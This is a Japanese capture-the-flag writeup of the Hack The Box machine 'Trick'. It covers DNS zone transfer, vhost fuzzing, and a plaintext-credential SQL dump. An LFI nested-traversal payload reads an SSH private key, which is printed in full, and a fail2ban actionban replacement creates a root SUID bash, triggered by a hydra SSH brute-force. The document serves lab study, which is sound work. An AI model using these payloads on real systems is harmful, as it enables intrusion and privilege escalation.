HTB Trick writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”Trick は、公開 BIND のゾーン転送と nginx の仮想ホストずれを入口にする Linux Easy Box である。preprod-payroll.trick.htb から SQL ダンプでアプリケーション認証情報を取り、ホスト名パターン preprod-* の列挙で preprod-marketing.trick.htb に進む。marketing 側の index.php?page= は Local File Inclusion(LFI)で、../ を1回除去するフィルタは nested traversal(....//)で回避できる。michael の SSH 秘密鍵を読んでユーザーシェルを取り、security グループによる /etc/fail2ban/action.d への書き込み(既存ファイルは unlink して置換)と sudo での fail2ban 再起動、sshd jail の actionban 発火で root の SUID シェルに到達する。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Trick |
| Platform | Hack The Box |
| OS | Debian 10(OpenSSH 7.9p1 Debian 10+deb10u2、カーネル 4.19.0-20-amd64) |
| Difficulty | Easy |
Attack Chain
Section titled “Attack Chain”operator | | nmap + DNS AXFR @10.129.227.180 vtrick.htb (nginx Coming Soon) + preprod-payroll.trick.htb | | /database/payroll.sql vpayroll app login Enemigosss:SuperGucciRainbowCake | | Host: preprod-FUZZ.trick.htb vpreprod-marketing.trick.htb | | LFI index.php?page=....// (nested traversal) v/home/michael/.ssh/id_rsa | | SSH public-key auth vmichael (groups: michael, security) | | sudo NOPASSWD: /etc/init.d/fail2ban restart | unlink+replace group-writable action.d/iptables-multiport.conf | actionban + SSH auth failures (sshd jail) vroot via SUID /tmp/pwnshell -pTarget Details
Section titled “Target Details”- Hostname / 仮想ホスト:
trick.htb、preprod-payroll.trick.htb、preprod-marketing.trick.htb
/etc/hosts:
10.129.227.180 trick.htb preprod-payroll.trick.htb preprod-marketing.trick.htbnmap:
nmap -sS -A -p- --min-rate 10000 10.129.227.180PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)25/tcp open smtp?|_smtp-commands: Couldn't establish connection on port 2553/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)| dns-nsid:|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian80/tcp open http nginx 1.14.2|_http-title: Coming Soon - Start Bootstrap Theme|_http-server-header: nginx/1.14.2Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel見るべき点:
53/tcpに外部向け BIND がある。ゾーン転送(AXFR)と DNS 列挙が先。80/tcpは nginx の Coming Soon テンプレート。ディレクトリ列挙より仮想ホストの方が本命。22/tcpは認証情報または鍵が揃うまで触らない。25/tcpは banner は出るが、本筋の入口にはならなかった。- OS は Debian 10 系。後の fail2ban / sshd jail の既定配置と整合する。
Initial Enumeration
Section titled “Initial Enumeration”Coming Soon ページは Start Bootstrap の未設定フォーム(API_TOKEN)で、静的アセット以外は出てこない。feroxbuster も css / js / assets のみである。
Host: FUZZ.trick.htb の仮想ホスト推測もヒットしない。これは「vhost が無い」ではなく、後で分かる preprod-payroll のような複合名が wordlist に一行で入っていないためである。
SMTP は手動接続できる。
nc -nv 10.129.227.180 25220 debian.localdomain ESMTP Postfix (Debian/GNU)501 Syntax: EHLO hostname501 5.5.4 Syntax: VRFY address [SMTPUTF8]502 5.5.2 Error: command not recognizedユーザー列挙には使えない。DNS を先に潰す。
DNS Zone Transfer
Section titled “DNS Zone Transfer”dig axfr trick.htb @10.129.227.180trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800trick.htb. 604800 IN NS trick.htb.trick.htb. 604800 IN A 127.0.0.1trick.htb. 604800 IN AAAA ::1preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.preprod-payroll.trick.htb がゾーンに載っている。A レコードが 127.0.0.1 なのはターゲット上の BIND の話で、攻撃側は /etc/hosts で 10.129.227.180 に向ける。SOA の root.trick.htb は管理者メール表記であり、ユーザー名ではない。
通常の ANY / NS クエリだけでは CNAME は出ない。AXFR を省略するとこのホスト名を落とす。
Payroll Virtual Host
Section titled “Payroll Virtual Host”http://preprod-payroll.trick.htb/ は 302 location: login.php と同時に、ダッシュボード HTML も返す。ブラウザは Location を追うのでログイン画面になる。curl はデフォルトでリダイレクトを追わないので、未ログインのまま Employee List などが見える。認証チェックが出力後に exit していないだけであり、ログイン成功ではない。
タイトルは Admin | Employee's Payroll Management System。ログインフォームは ajax.php?action=login に username / password を POST する。
curl -s http://preprod-payroll.trick.htb/login.php | grep -iE 'form|action|username|password|ajax'<form id="login-form" ><input type="text" id="username" name="username" class="form-control"><input type="password" id="password" name="password" class="form-control">url:'ajax.php?action=login',admin:admin は失敗で 3 を返す(このアプリは失敗を数字で返す)。
curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \ -d 'username=admin&password=admin'HTTP/1.1 200 OK...3feroxbuster が /database を 301 で拾う。ディレクトリ直読みは 403(autoindex なし)だが、中のオブジェクトは直接リクエストできる。汎用 common.txt に payroll は入っていないため、拡張子付き brute だけでは外れやすい。ホスト名とアプリ名から作った語に .sql を付けると当たる。
printf '%s\n' payroll employee employees users user admin database db dump backup sql trick enemigosss > target-words.txtffuf -u http://preprod-payroll.trick.htb/database/FUZZ -w target-words.txt -e .sql,.php,.bak,.txt,.zip -acまたは次のように探し当てることもできる。
$ feroxbuster -u http://preprod-payroll.trick.htb/database/ \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -x sql,php,bak,txt,zip -d 0 -n
___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / \ \_/ | | \ |__| |___ | \ | \ | \__, \__/ / \ | |__/ |___by Ben "epi" Risher 🤓 ver: 2.13.1───────────────────────────┬────────────────────── 🎯 Target Url │ http://preprod-payroll.trick.htb/database 🚩 In-Scope Url │ preprod-payroll.trick.htb 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.13.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [sql, php, bak, txt, zip] 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404 GET 7l 12w 169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 7l 12w 185c http://preprod-payroll.trick.htb/database => http://preprod-payroll.trick.htb/database/200 GET 424l 1315w 10883c http://preprod-payroll.trick.htb/database/payroll.sqlpayroll.sql [Status: 200, Size: 10883]curl -s http://preprod-payroll.trick.htb/database/payroll.sqlユーザー表は平文1件だけである。
INSERT INTO `users` (`id`, `doctor_id`, `name`, `address`, `contact`, `username`, `password`, `type`) VALUES(1, 0, 'Administrator', '', '', 'Enemigosss', 'SuperGucciRainbowCake', 1);curl -i -X POST 'http://preprod-payroll.trick.htb/ajax.php?action=login' \ -d 'username=Enemigosss&password=SuperGucciRainbowCake'HTTP/1.1 200 OK...11 はログイン成功。ダンプのアカウントは生きている。同じパスワードで Enemigosss / enemigosss / admin の SSH は Permission denied になる。payroll は資格情報ソースとしてはここで閉じ、ホスト名の preprod- プレフィックスを別 vhost に使う。
Marketing Virtual Host and LFI
Section titled “Marketing Virtual Host and LFI”ゾーン転送に載っていない名前でも、nginx の server_name には存在し得る。最初の Host: FUZZ.trick.htb では複合名を拾えないので、観測済みプレフィックスを固定する。
ffuf -u http://10.129.227.180/ \ -H 'Host: preprod-FUZZ.trick.htb' \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -fs 5480 -acmarketing [Status: 200, Size: 9660, Words: 3007, Lines: 179]5480 はデフォルト Coming Soon のサイズ。preprod-marketing.trick.htb は TemplateMo 549 Business Oriented で、メニューがファイル名を page に渡している。
<a class="nav-link tm-nav-link" href="index.php?page=services.html">Services</a><a class="nav-link tm-nav-link" href="index.php?page=about.html">About</a><a class="nav-link tm-nav-link" href="index.php?page=contact.html">Contact</a>contact.html は直接 200 で取れる。ルーティングは PHP の include 側にある。
curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \ 'http://preprod-marketing.trick.htb/index.php?page=about.html'curl -s -o /dev/null -w '%{http_code} %{size_download}\n' \ 'http://preprod-marketing.trick.htb/index.php?page=doesnotexist.html'200 13272200 0存在しないファイルが 200 / 0 bytes なのは、ログイン壁ではなく include 失敗に見える。素のトラバーサルと絶対パス、PHP ラッパーは空である。
curl -s 'http://preprod-marketing.trick.htb/index.php?page=../../../../etc/passwd'curl -s 'http://preprod-marketing.trick.htb/index.php?page=/etc/passwd'curl -s 'http://preprod-marketing.trick.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php'nested traversal は通る。
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//etc/passwd'root:x:0:0:root:/root:/bin/bash...michael:x:1001:1001::/home/michael:/bin/bashstr_replace('../', '', $page) のような非再帰除去だと、....// の内側の ../ を消した残りが ../ になる。入力 ../../../../etc/passwd は全部消されて相対の etc/passwd になる。これが PortSwigger の nested traversal sequences である。
OS ユーザー michael のホームから SSH 鍵を読む。
curl -s 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//home/michael/.ssh/id_rsa'-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcnNhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtzc4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2GYQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK41kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaCDkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizEhkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1LjnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3CaUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjCtnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455GeU+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1VPH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXAfvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sTAuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgnIn16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DPJkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XNjsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==-----END OPENSSH PRIVATE KEY-----公開鍵コメントは michael@trick。
User Access
Section titled “User Access”鍵をファイルに保存し、権限を絞って SSH する。
chmod 600 michael.keyssh -i ./michael.key michael@trick.htbLinux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64michael@trick:~$ hostnametrickmichael@trick:~$ iduid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)ユーザーシェルは michael。user.txt の値は記録なし。次の手がかりは補助グループ security である。
Privilege Escalation
Section titled “Privilege Escalation”sudo -lMatching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restartfind / -group security -perm -g=w -printf '%M %u %g %p\n' 2>/dev/nulldrwxrwx--- root security /etc/fail2ban/action.dfail2ban-server は root で動いている。sudo restart で root が action 定義を読み直す。ただし action.d のディレクトリ write と、中の .conf のファイル write は別である。
drwxrwx--- 2 root security action.d-rw-r--r-- 1 root root action.d/*.conf既存ファイルは 644 のため上書き保存できない。sticky bit が無いので、ディレクトリ write があれば所有していないファイルでも unlink できる。
有効 jail は Debian 既定どおり sshd で、既定 banaction は iptables-multiport である。
cat /etc/fail2ban/jail.d/defaults-debian.conf[sshd]enabled = truebanaction = iptables-multiportaction = %(action_)sbantime = 10sfindtime = 10smaxretry = 5短い findtime / maxretry / bantime は、sshd の認証失敗で actionban をすぐ発火させるための値である。actionstart にコマンドを足して restart しただけでは走らない。Fail2Ban 0.10 系は最初の ban まで start を遅延することがあり、iptables -N が既存 chain で失敗すると後続行にも到達しない。
.local による実行時マージだけでは、今回の試行では actionban が発火しなかった。参照されている本体を置換する。
対象ホスト上で iptables-multiport.conf をコピーし、actionban だけ差し替える(状態変更)。
#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>actionban = cp /bin/bash /tmp/pwnshell; chmod 4777 /tmp/pwnshellrm /etc/fail2ban/action.d/iptables-multiport.confcp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.confsudo /etc/init.d/fail2ban restart[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.ignorself のため、Box 内からの localhost 失敗では ban されない。攻撃側 VPN から、10 秒以内に 5 回以上のパスワード失敗を送る。直列の ssh は 2 回目のパスワード待ちで窓を超える。hydra のような並列失敗が条件に入る。
hydra -l nosuchuser -P /usr/share/wordlists/rockyou.txt -f ssh://trick.htb-rwsrwxrwx 1 root root 1168776 Aug 22 18:54 /tmp/pwnshell/tmp/pwnshell -pcd /rootls -lacat root.txtpwnshell-5.0# cat root.txt[REDACTED]/tmp/pwnshell -p は SUID bash の実効 UID を root のままにする。/root には root.txt のほか f2b.sh、fail2ban/、set_dns.sh が見える。中身の確認は記録なし。
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”trick.htb本体の Coming Soon と深いディレクトリ brute。静的テンプレートだけだった。Host: FUZZ.trick.htbおよびHost: FUZZ.preprod-payroll.trick.htb。複合名preprod-*は拾えない。- SMTP
VRFY/EXPN。情報は出ない。 - payroll の
admin:admin。応答3は失敗。 Enemigosss:SuperGucciRainbowCakeの SSH 再利用。パスワード認証は拒否される。- payroll の
index.php?page=。拡張子なしの画面名であり、LFI の兆候は marketing 側より弱い。認証と SQL ダンプの方が情報量が多い。 common.txtだけの/database/brute。アプリケーション固有名payroll.sqlは入っていない。- marketing の見た目や About 文言の深読み。入力点は
page=である。 action.dに未参照の新規 action を置く、.confの丸コピー.local、actionstart+ restart だけ。参照されているiptables-multiportのactionbanと、窓に入る SSH 失敗が必要だった。- fail2ban ログ
/var/log/fail2ban.logは root のみで、michaelからは読めない。
Cleanup Notes
Section titled “Cleanup Notes”| 対象 | 元の状態 | 変更後 | 戻し方 | 検証 |
|---|---|---|---|---|
/etc/fail2ban/action.d/iptables-multiport.conf | root:root 644、actionban は iptables | unlink 後に michael 所有の改変ファイル(SUID bash 作成) | 退避コピーを戻し、所有者を root:root に戻して sudo /etc/init.d/fail2ban restart | 未確認 |
/etc/fail2ban/action.d/iptables-multiport.local | 無し | actionban = touch /tmp/pwn 等を作成 | ファイル削除 | 未確認 |
/tmp/pwnshell | 無し | -rwsrwxrwx root の bash コピー | rm /tmp/pwnshell | 未確認 |
/tmp/iptables-multiport.conf(ターゲット上の作業コピー) | 無し | 改変済み conf | 削除 | 未確認 |
| sshd jail による攻撃者 IP の ban | 無し | bantime 10s の一時 ban | 時間経過で解除 | 記録なし |
payroll PHPSESSID | 無し | ログイン成功セッション | 期限切れ | 記録なし |
取得した michael SSH 秘密鍵(攻撃側) | 無し | 鍵ファイルとして保存 | 作業終了後に削除 | 未確認 |
fail2ban の conf を戻したあとは、sshd jail が通常の iptables ban に戻っていることを確認する。検証結果は未確認。
Credentials and Artifacts
Section titled “Credentials and Artifacts”| 項目 | 入手元 | 所属 | 初回利用 | 結果 |
|---|---|---|---|---|
Enemigosss / SuperGucciRainbowCake | http://preprod-payroll.trick.htb/database/payroll.sql の users | payroll アプリ Administrator | ajax.php?action=login | 応答 1。SSH では拒否 |
michael SSH 秘密鍵 | marketing LFI ....//home/michael/.ssh/id_rsa | OS ユーザー michael | ssh -i | ユーザーシェル |
michael 公開鍵コメント michael@trick | 同 LFI の id_rsa.pub / authorized_keys | michael | ユーザー確認 | /etc/passwd と一致 |
フラグ:
- user.txt: 記録なし(
michaelシェルは確認済み) - root.txt:
/root/root.txt=[REDACTED]
成果物:
/database/payroll.sql(phpMyAdmin ダンプ、平文パスワード)/home/michael/.ssh/id_rsa/tmp/pwnshell(root SUID bash、後始末対象)
Required Knowledge
Section titled “Required Knowledge”- 外部公開 BIND に対するゾーン転送(AXFR)と、HTTP Host ファズの違い
- nginx 仮想ホストと DNS ゾーンは別インベントリであること
- ターゲット固有語 + 拡張子によるファイル発見(ディレクトリ 403 の下)
- Sourcecodester 系 PHP の
ajax.php?action=loginと平文ダンプ index.php?page=ファイル名を include と読むこと- nested traversal(
....//)による非再帰../除去の回避 - LFI から
~/.ssh/id_rsaへ進むこと - ディレクトリ write(sticky 無し)は unlink を許すこと。ファイル 644 とは別
- fail2ban の jail →
banaction→action.d/*.conf→actionbanの参照 actionstart(起動)とactionban(ログ閾値)の発火条件、findtime/maxretry/ignorself- SUID bash の
-pで実効 root を維持すること
Final Thought
Section titled “Final Thought”入口は「開いている 80」ではなく「開いている 53」だった。Host ヘッダ brute が空でも、BIND が答えを持っていることがある。逆に AXFR が完全な nginx インベントリでもない。preprod-payroll からプレフィックスを固定した再列挙が、ゾーンに無い preprod-marketing を拾った。
パラメータ名が同じでも、page=home と page=about.html では実装の仮説が違う。拡張子付きの実ファイル名を渡している側を LFI の主攻にする。空の ../../ と成功した ....// を並べると、フィルタが「禁止文字列の1回除去」だと証明できる。
権限昇格は「書き込めるディレクトリに何か置く」ではなく、root プロセスが読む名前付きファイルを、いつ走るフックごと差し替える作業だった。.local が正規の overlay でも、動かなければ unlink + 置換で同じ名前を奪う。sudo できるのが restart だけでも、sshd jail の actionban と短い findtime があれば外部イベントで root コードを実行できる。

